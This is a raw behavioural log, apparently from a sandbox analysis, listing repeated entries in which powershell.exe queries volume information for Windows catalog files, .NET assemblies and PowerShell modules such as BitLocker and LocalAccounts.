Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
